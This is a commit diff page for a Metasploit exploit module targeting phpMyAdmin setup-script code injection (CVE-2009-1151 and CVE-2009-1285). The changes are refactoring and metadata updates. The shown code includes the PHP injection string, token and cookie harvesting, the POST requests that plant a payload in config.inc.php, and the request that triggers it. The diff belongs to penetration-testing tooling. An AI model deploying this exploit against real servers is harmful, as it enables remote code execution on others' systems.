Skip to content

Commit 9f480e5

Browse files
committed
phpmyadmin_config: Misc feedback updates
Sorry its thrown all in a big commit and not splitting up.
1 parent 38d8ea7 commit 9f480e5

1 file changed

Lines changed: 32 additions & 39 deletions

File tree

modules/exploits/unix/webapp/phpmyadmin_config.rb

Lines changed: 32 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
1011

1112
def initialize(info = {})
1213
super(
@@ -66,9 +67,9 @@ def initialize(info = {})
6667
'DefaultTarget' => 0,
6768
'DisclosureDate' => '2009-03-24',
6869
'Notes' => {
69-
'Reliability' => UNKNOWN_RELIABILITY,
70-
'Stability' => UNKNOWN_STABILITY,
71-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
70+
'Reliability' => REPEATABLE_SESSION,
71+
'Stability' => CRASH_SAFE,
72+
'SideEffects' => CONFIG_CHANGES
7273
}
7374
)
7475
)
@@ -85,19 +86,19 @@ def initialize(info = {})
8586

8687
def request_setup(uri)
8788
uri = normalize_uri(datastore['URI'], uri)
88-
vprint_status("Trying: #{uri}")
89+
vprint_status "Trying: #{uri}"
8990
response = send_request_raw({ 'uri' => uri })
9091
if response.nil?
91-
vprint_error('Error with setup request (No response)')
92+
vprint_error 'Error with setup request (No response)'
9293
elsif response.code != 200
93-
vprint_error("Error with setup request (HTTP #{response.code}, should be 200)")
94+
vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)"
9495
else
95-
vprint_good("Found: #{uri}")
96+
vprint_good "Found: #{uri}"
9697

9798
title = response&.get_html_document&.at_xpath('//title')&.text
98-
version = Rex::Version.new(title[/phpMyAdmin (.+?) setup/i, 1])
99-
if version
100-
vprint_status("Found version: #{version}")
99+
if /phpMyAdmin (?<version_str>.+?) setup/i =~ title
100+
version = Rex::Version.new(version_str)
101+
vprint_status "Found version: #{version}"
101102

102103
report_service(
103104
host: rhost,
@@ -126,10 +127,8 @@ def request_setup(uri)
126127
end
127128

128129
def find_setup_path(mode: :exploit)
129-
return @response_setup if @response_setup
130-
131130
if datastore['SETUP_PATH'].nil?
132-
vprint_status('Attempting to automatically detect phpMyAdmin setup directory path')
131+
vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path'
133132

134133
response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x
135134
if mode == :exploit
@@ -143,10 +142,8 @@ def find_setup_path(mode: :exploit)
143142
response, version = request_setup(datastore['SETUP_PATH'])
144143
end
145144

146-
print_error('Unable to find valid phpMyAdmin setup directory path') unless response&.code == 200
145+
print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200
147146

148-
@response_setup = response
149-
@version_setup = version
150147
return response, version
151148
end
152149

@@ -155,29 +152,25 @@ def check
155152
return Exploit::CheckCode::Safe unless response&.code == 200
156153

157154
if (response.body !~ /"token"\s*value="([^"]+)"/)
158-
print_error("Couldn't find token and can't continue without it. Is URI set correctly?")
159-
return Exploit::CheckCode::Safe
155+
return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?")
160156
elsif (response.body =~ /Cannot load or save configuration/)
161-
print_error("'config' folder permissions may not be setup correctly (writable!)")
162-
return Exploit::CheckCode::Safe
157+
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)")
163158
elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it.
164-
print_error("'config' folder permissions may not be setup correctly (writable! - Error: 2)")
165-
return Exploit::CheckCode::Safe
159+
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)")
166160
end
167161

168162
if version
169163
vulnerable =
170-
version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.5')) ||
171-
version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.2'))
164+
version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) ||
165+
version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1'))
172166

173167
if vulnerable
174-
print_good("Target version is in range! (#{version})")
175-
return Exploit::CheckCode::Appears
168+
return Exploit::CheckCode::Appears("Target version is in range! (#{version})")
176169
else
177-
print_status("Target version is not in range (#{version})")
170+
print_status "Target version is not in range (#{version})"
178171
end
179172
else
180-
print_error('Could not determine version')
173+
print_error 'Could not determine version'
181174
end
182175

183176
return Exploit::CheckCode::Safe
@@ -215,14 +208,14 @@ def exploit
215208
uri = response.request[/^GET\s+(\S+)/, 1]
216209

217210
# Find the CSRF token and session cookie
218-
fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]*)"/)
211+
fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/)
219212
token = ::Regexp.last_match(1)
220213
cookie = response.get_cookies
221214

222215
case uri
223216
# CVE-2009-1151
224217
when %r{/scripts/setup\.php}
225-
vprint_status('Constructing exploit (save request) for: <= 2.11.9.4/3.0.x')
218+
vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x'
226219

227220
injected = "host']='';#{payload.encoded};//"
228221

@@ -242,7 +235,7 @@ def exploit
242235
config = php_serialize(config_hash)
243236

244237
# Now that we've got the cookie and token, send the evil
245-
print_status("Sending exploit (save request): #{uri}")
238+
print_status "Sending exploit (save request): #{uri}"
246239
response = send_request_cgi({
247240
'method' => 'POST',
248241
'uri' => uri,
@@ -258,7 +251,7 @@ def exploit
258251
# CVE-2009-1285 #1
259252
when %r{/setup/index\.php\?page=config\z}
260253
uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post')
261-
print_status("Sending exploit >= 3.1.x (textconfig): #{uri}")
254+
print_status "Sending exploit >= 3.1.x (textconfig): #{uri}"
262255
response = send_request_cgi({
263256
'method' => 'POST',
264257
'uri' => uri,
@@ -275,9 +268,9 @@ def exploit
275268
# CVE-2009-1285 #2
276269
when %r{/setup(?:/(?:config|index)\.php)?/?\z}
277270
phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1]
278-
fail_with(Failure::UnexpectedReply, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie
271+
fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie
279272

280-
print_status("Sending exploit >= 3.1.x (new server): #{uri}")
273+
print_status "Sending exploit >= 3.1.x (new server): #{uri}"
281274
response = send_request_cgi(
282275
{
283276
'method' => 'POST',
@@ -335,7 +328,7 @@ def exploit
335328
valid_request(response, 303)
336329

337330
uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php')
338-
print_status("Sending exploit >= 3.1.x (save config): #{uri}")
331+
print_status "Sending exploit >= 3.1.x (save config): #{uri}"
339332
response = send_request_cgi(
340333
{
341334
'method' => 'POST',
@@ -350,22 +343,22 @@ def exploit
350343
)
351344
valid_request(response, 303)
352345
else
353-
fail_with(Failure::Unknown, "...unsure of target: #{uri}")
346+
fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}")
354347
end
355348

356349
# Very short timeout because the request may never return if we're sending a socket payload
357350
timeout = 0.1
358351
uri = normalize_uri(datastore['URI'], '/config/config.inc.php')
359-
print_status("Requesting our payload: #{uri}")
352+
print_status "Requesting our payload: #{uri}"
360353
response = send_request_raw({
361354
'global' => true, # Allow findsock payloads to work
362355
'uri' => uri
363356
}, timeout)
364357
# Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
365358
if response.nil?
366-
vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.')
359+
vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.'
367360
elsif response.code != 200
368-
vprint_error("Error with payload request (HTTP #{response.code}, should be 200)")
361+
vprint_error "Error with payload request (HTTP #{response.code}, should be 200)"
369362
end
370363
end
371364
end

0 commit comments

Comments
 (0)